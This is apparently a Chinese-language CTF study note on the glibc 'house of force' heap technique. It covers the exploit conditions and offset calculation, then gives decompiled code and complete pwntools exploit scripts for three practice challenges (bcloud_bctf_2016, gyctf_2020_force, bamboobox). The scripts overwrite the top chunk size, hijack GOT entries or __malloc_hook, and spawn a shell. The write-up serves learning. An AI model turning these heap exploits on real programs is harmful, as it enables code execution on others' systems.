0%

house of force学习笔记

[TOC]

前置知识

目的

自由控制创建的_chunk_的地址,到目标地址上。

当我们使_chunk_的地址,落在_chunk_hook_区域后,就可以对_chunk_hook_区域进行任意泄漏和写,进而也就能对_chunk_hook_里的地址进行任意泄漏和写。

check

_glibc_会对用户请求的大小和_Top chunk_现有的_size_进行验证,如果_size_不够大。就不会使用_Top chunk_来进行分配。我们可以篡改_size_为一个很大值来绕过这个验证。一般的做法是把_Top chunk_的_size_改为-1,因为在进行比较时会把_size_转换成无符号数,因此-1也就是说_unsigned long_中最大的数。

利用思路

做了几道题,简单归纳一下关于_house of force_的做题步骤:

  1. 使_Top chunk_的_size_为0xffffffffffffffff32位是0xffffffff)。

  2. 计算偏移_offset_。

    offset = target_addr-Top_chunk_addr-4*unit_size
    #Top_chunk_addr是Top_chunk的首地址
    #unit_size是一个内存单元的大小
  3. 创建大小为_offset_的_chunk_。

利用条件

如果一个堆漏洞,想通过_house of force_方法进行利用,需要以下条件,

  1. 能够溢出等方式,控制到_Top chunk_的_size_域
  2. 能够控制_chunk_分配尺寸的大小

进行堆分配时,如果所有_free_的_chunk_都无法满足需求,那么就会从_Top chunk_中,分割出相应大小的内存,来作为_chunk_的空间

bcloud_bctf_2016

代码审计

注意

由于之前做的题,漏洞点大都是在一些对_chunk_的功能函数里,所以这次我就死盯着那几个函数分析,半天也没发现什么。其实,这道题的漏洞点,在菜单函数前面的一个函数里。所以,以后做题千万不能惯性思维,漏洞点可能存在于任何一个函数中。

sub_804899C

int sub_804899C()
{
sub_80487A1();
return sub_804884E();
}

sub_80487A1

1

填满64个字节,就可以泄露出_v2_后面的数据,调试后可以发现是一个_chunk_的首地址。

sub_804884E

unsigned int sub_804884E()
{
char s[64]; // [esp+1Ch] [ebp-9Ch] BYREF
char *v2; // [esp+5Ch] [ebp-5Ch]
char v3[68]; // [esp+60h] [ebp-58h] BYREF
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(s, 0, 0x90u);
puts("Org:");
sub_804868D(s, 64, 10);
puts("Host:");
sub_804868D(v3, 64, 10);
v4 = malloc(0x40u);
v2 = malloc(0x40u);
dword_804B0C8 = v2;
dword_804B148 = v4;
strcpy(v4, v3);
strcpy(v2, s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

利用思路

泄漏_chunk_地址,获得_Top chunk_地址

p.sendafter("Input your name:\n",b'A'*0x40)
#注意只能用send,不能sendline
p.recvuntil('A'*0x40)
chunk_addr = u32(p.recvuntil(b'!')[:-1].ljust(4,b'\x00'))
log_addr("chunk_addr")
top_chunk_addr = chunk_addr+0xd0
log_addr("top_chunk_addr")

改写_Top chunk_的_size_为0xffffffff

p.sendafter("Org:\n",b'B'*0x40)
#send发送
p.sendlineafter("Host:\n",p32(0xffffffff))

计算_target_addr_距离_top_chunk_addr_的偏移量,再-0x10

target_addr = 0x804b120
offset = target_addr-top_chunk_addr-0x10
add((offset),b'a'*4)

exp

from tools import *
# context.log_level="debug"
# p = process("./a")
p = remote("node5.buuoj.cn",29127)
debug(p,0x8048D2D,0x8048CFE,0x8048D11,0x8048D1F)
elf = ELF('./a')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("option--->>\n",str(1))
p.sendlineafter("Input the length of the note content:\n",str(size))
p.sendlineafter("Input the content:\n",content)
def edit(index,content):
p.sendlineafter('option--->>\n',str(3))
p.sendlineafter('Input the id:\n',str(index))
p.sendlineafter('Input the new content:\n',content)
def delete(index):
p.sendlineafter('option--->>\n',str(4))
p.sendlineafter('Input the id:\n',str(index))

p.sendafter("Input your name:\n",b'A'*0x40)
p.recvuntil('A'*0x40)
chunk_addr = u32(p.recvuntil(b'!')[:-1].ljust(4,b'\x00'))
log_addr("chunk_addr")
p.sendafter("Org:\n",b'B'*0x40)
p.sendlineafter("Host:\n",p32(0xffffffff))
top_chunk_addr = chunk_addr+0xd0
log_addr("top_chunk_addr")
target_addr = 0x804b120
offset = target_addr-top_chunk_addr-0x10
add((offset),b'a'*4)

payload = p32(0)+p32(elf.got['free'])+p32(elf.got['puts'])+p32(0x0804B120+0x10)+b'/bin/sh\x00'
add(0x20,payload)
edit(1,p32(elf.plt['puts']))
delete(2)
puts_addr = u32(p.recv(4))
log_addr("puts_addr")
libc_base = puts_addr-libc.sym['puts']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(1,p32(system_addr))
delete(3)

p.interactive()

gyctf_2020_force

exp

from tools import *
# context.log_level="debug"
p = process("./a")
# p = remote("node5.buuoj.cn",28722)
debug(p,'pie',0xCCB)#0xCD7,
elf = ELF('./a')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(size))
p.recvuntil(b"bin addr ")
chunk_data_addr = int(p.recv(14),16)
p.sendlineafter("content\n",content)
return chunk_data_addr
def puts():
p.sendlineafter("2:puts\n",str(2))


libc_addr = add(0x20000,b'a'*8)
log_addr("libc_addr")
libc_base = libc_addr-0x5cb010
log_addr("libc_base")
payload = b'b'*0x10+p64(0)+p64(0xffffffffffffffff)
chunk_data_addr = add(0x10,payload)
top_chunk_addr = chunk_data_addr+0x10

malloc_hook = libc_base+libc.sym['__malloc_hook']
log_addr("malloc_hook")
offset = malloc_hook-top_chunk_addr-0x20-0x10
add(offset,b'c'*8)

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one_gadget[1]
realloc_addr = libc_base+libc.sym['realloc']
payload = b'A'*8+p64(one_gadget)+p64(realloc_addr+4)
add(0x20,payload)

p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(20))
p.interactive()

hitcontraining_bamboobox

利用思路

利用溢出修改_Top chunk_的_size_为0xffffffffffffffff

add(0x30,b'a'*8)
payload = b'b'*0x38+p64(0xffffffffffffffff)
edit(0,0x40,payload)

创建_chunk_,使其地址在_Top chunk_的上面,距离0x70的位置

magic = 0x400D49
add((-0x70),b'A')
add(0x10,p64(magic)*2)

exp

from tools import *
# context.log_level="debug"
p,elf,libc = load("a")
# p = remote("node5.buuoj.cn",25055)
debug(p,0x400E84,0x400E90,0x400E9C,0x400EA8)
# libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the name of item:",content)
def show():
p.sendlineafter("Your choice:",str(1))
def edit(index,size,content):
p.sendlineafter("Your choice:",str(3))
p.sendlineafter("Please enter the index of item:",str(index))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the new name of the item:",content)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index of item:",str(index))

add(0x30,b'a'*8)
payload = b'b'*0x38+p64(0xffffffffffffffff)
edit(0,0x40,payload)

magic = 0x400D49
add((-0x70),b'A')
add(0x10,p64(magic)*2)

p.sendline(str(5))
p.interactive()